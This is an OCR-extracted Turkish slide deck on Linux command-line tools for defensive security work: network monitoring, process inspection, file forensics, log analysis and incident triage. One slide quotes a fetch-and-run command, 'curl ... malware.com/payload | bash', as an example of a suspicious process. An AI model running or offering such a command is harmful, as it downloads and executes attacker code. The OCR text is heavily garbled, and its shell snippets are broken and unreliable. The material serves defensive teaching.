Linux Komut Satiri:
Siber Guvenlik
Uzmaninin Nihai

Silahi

Operatorun Yolculugu: Temelden
Savunmaya

Grafik arayuzlerin bittigi yerde, gercek kontrol baslar.
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Neden Komut Satin?

Grafik Arayuz (GUI) kolay isleri yapar. Komut Satiri (CLI) ise mumkun

olmayan isleri yapar.

Security
Analysis Layer

[Metwork Analysis, Forensics)

Core System Utilities
(Text Processing, User Management)

Kernel Interface
(System Calls, /proc)

Gorunurluk: Sistem
cekirdegine ve ham
verilere dogrudan erisim.

Hiz: Dakikalar suren isler,
tek satir kodla saniyeler
surer.

Ozgiirliik: Tam kontrol ve
bilme giici.
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Sahada Hakimiyet: Navigasyon ve Dosya Sistemi

Bir siber guvenlik olayl aninda nerede oldugunuzu bilmek hayati onem tasir. Dosya sistemi bir

labirenttir; haritayi okumayi ogrenin.

| pwd

Neredeyim? (Mevcut calisma dizini).
Kayboldugunuzda pusulanizdir.

-

Isinlanma. Dosya agacinda hizla hareket
etme.

'

Kesif. Etrafinizdaki dosyalari ve dizinleri
listeleme.

ey bin
—> [ boot
—> [ cdrom

—-> [ bshotts
—-> BB karen

—-> B lost+found
— v @y me

—> [l .cache
—> [l .compiz
—> @ .config
—> @B .gconf
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Dosya Manipiilasyonu ve Izinler

“Her dosya bir hikaye anlatir. Dosyaya kimin
erisebildigini bilmek, hikayeyi cozmektir.”

Kanit Toplama Erisim Kontrolu

— +"% B| H
L- hmod Dosya izinlerini degistirme (Orn:
chimo Zararl yazihmi durdurmak).
Kanit dosyalarini guvenli bolgelere e i
cp & mv kopyalama veya tasima. chown Dosya sahipligini degistirme.

Pro Tip: 'Is -I" ciktisindaki izinleri okumak, bir saldirganin sisteme arka kapi (backdoor) birakip birakmadigini anlamanin ilk adimidir.
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Agin Rontgesini Cekmek: ss ve netstat

Modern Linux dagitimlarinda "netstat™ yerini daha hizli ve detayl olan “ss* komutuna birakmistir.
Supheli baglantilari tespit etmek icin ilk duragimizdir.

[root@server ~]# ss -tnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process

ESTAB 0 U102 68N 522 10.0.0.89:53211 users: (("sshd",pid=1234,fd=3))
ESTAB 0 0 192.168.1.5:4444 198.51.100.1:80 users: (("bash", pid=9999, fd=3))

A

2 o Y
b --.:“"ﬂ:—. g

ESTABLISHED: Aktif veri alisverisi. Baglanti Uclari: Kiminle Process |D; Baglantiy! baslatan
konusuyoruz? uygulama.
4 b
Senaryo: Bilinmeyen bir dis IP adresine bagli
"bash’ sureci gorurseniz, sisteminizde bir 'Reverse
kSheII' olabilir.

J
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Paket Seviyesinde Gerc¢ekler: tcpdump

Ag yalan soylemez, paketler konusur.

tcpdump -1 eth® -nn -vvv -X

& \>

Veri Sizdirma (DNS) HTTP Analizi ARP Spoofing

“tcpdump -i any -nn port 53° Sifrelenmemis trafikteki kullanici Yerel agdaki '‘Man-in-the-Middle'
lle supheli DNS sorgularini ve adlarini veya zararli istekleri -A" saldirilarini tespit edin.
tunellemeleri yakalayin. bayradi ile ASCII olarak gorun.
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Trafik Kontrolu ve Analizi: iptables

"iptables” sadece bir glvenlik duvari degil, ayni zamanda guclu bir analiz aracidrr.

Loglama
Saldinlari kaydetmek icin LOG hedefini kullanin.

Terminal Block

iptables -I INPUT -j LOG --log-prefix "INPUT: "

Honeypot
(Bal Kiipii) \ iy

Honeypot (Bal Kiipii)

Kullanilmayan portlara (orn. Telnet - 23) gelen
trafigi loglayarak saldirgani tespit edin.

. Veri Sizdirma

Veri Sizdirma

"OUTPUT" zincirini izleyerek disar giden
yetkisiz trafigi yakalayin.
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Surec¢ Dedektifligi: ps ve top

Zararll yazilimlar genellikle masum isimlerin arkasina saklanir.
|

.4's (-::hrcme—rend&r)

ps auxwwf

({:hrﬂm e-re nder}

NS auxwwf
(curl -s http://malware.com/payload | bash)

(chmme—re nder

Surecleri agacg yapisinda gorun. Bir surecin “ebeveyni” supheliyse, "ps’ bunu ifsa eder.

top o
30 iy
ED\"‘* 4 top - 10:45:00 up 2 days, 1 user, load average: 5.25,
1058 30 PID USER PR NI VIRT RES SHR S %CPU %MEM TIME: COMMAND
4096 user 20 0 3.5%qg 512m 12Bm R 95.0 2.0 15:32.05 xmric
e CRYPTO MINER 3 ¥ =9 2,05 g
0 100

CPU Usage %

Sistem yavasladi mi? CPU kullanan Kripto Madencilerini (Crypto Miners) anlik olarak yakalayin.
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Acik Dosyalar ve Soketler: Isof

Linux'ta "Her sey bir dosyadir”. Ag baglantilari bile."

X |
deleted

T

(@) |

username

iii{

lsof | grep deleted

Lsof -1 :80,443 Lsof -u username
Disken silinmis ama hafizada Hangi dosyanin hangi Kullanicinin actigr tum
calisan malware'i bulur. portu kullandigini ¢cozer. dosyalari listeler.
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Dosya Sistemi Adli Bilisimi: find

Bir olay sonrasi analizde " find" komutu Isvicre cakisi gibidir.

Zaman Cizelgesi «

find / -type f -mtime -1

Son 24 saatte deqistirilen
dosyalar (Saldirgan ne yapti?).

Gizli Dosyalar

et _,*

Nokta ile baslayan gizli
dosyalari ortaya cikarin.

Risk Analizi <

find / -perm -4000

Yetki yukseltme riski tasiyan
SUID dosyalarini tespit edin.
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Log Analizi ve Korelasyon

Farkli loglari birlestirip buyuk resmi gormek, saldirinin anatomisini ortaya cikarir.

¢ /var/log/auth.log icind

Araclar: journalctl, grep, awk.

Yetki Yuikseltme

"sudo” komutunun
supheli
kullanimlari.

sudo komutunun suj

Kernel Mesajlari

“dmesqg ile
donanim/promiscuous
mode tespiti.

dmesg 1le donanim
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Kullanici ve Erisim Denetimi

Sisteme kim, ne zaman ve nasil girdi?

Oturum Takibi

komutlari ile gecmis ve
anlik girisleri kontrol edin.

~

7

~

Golge Hesaplar

/etc/passwd dosyasinda
yetkisiz "hayalet"
kullanicilari (UID 0) arayin.

’

D

SSH Anahtarlari

authorized_keys
dosyalarinda saldirganin
biraktigl anahtarlari
dogrulayin.
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Olay Mudahale Akisi (Incident Response Triage)

Bir saldiri aninda panik en buyuk dusmandir. Yapilandiriimis bir akis izleyin.

r )

**Sistem Bilgisi

uname
uptime

.

2

r Y

**Ag Baglantilari % N\
Hedef: Bu adimlar bir

betik (script) haline getirip,
olay aninda tek komutla

ss -tunap

r
<_|

s 3 "fotografi cekmek",
**Surecler \ ko’

el B
\)

ps auxwwf
\.

Y Y
**Dosya Degisiklikleri
Modified system files
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Guvenlik Otomasyonu: Bash Scripting

Manuel kontrolleri otomatize edilmis “surekli izleme” betiklerine donusturun.

P N

**Yeni Port Takibi**

'ss giktisim periyodik kontrol et,
yeni port acilirsa uyar.

**Degisiklik Takibi**

‘/etc/passwd’ gibi kritik dosyalarda

Basarisiz giris denemeleri esidi
degisim oldugunda alarm ver.

astiginda e-posta gonder.

hash=$%(md5sum /etc/passwd); if
[[ Shash != 8baseline ]]; then
trigger_alarm; 11

cLJrrent_pn::rts=${'55 -tunap); diff
<(echo $previous) <(echo

if [[ $(count_failed_logins) >
THRESHOLD ]]; then send_email;

fi $current_ports) && notify_new_port
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Sonug ve En lyi Uygulamalar

Komut satiri sadece bir arac¢ degil, siber
savunmada en guclu muttefikinizdir.

v/ Kayit Tutma (Logging): Yapti§iniz her islemi loglayin (history, script logs).

v/ Kaynak Yonetimi: ve lle sistemi yormadan analiz yapin.

«/ Siirekli Ogrenme: Tehditler evrildikce, komut setinizi gelistirin.

Gercek uzmanlik, sozdizimini (syntax) ezberlemek degil,
sistemin nasil ¢alistigini anlamaktir.
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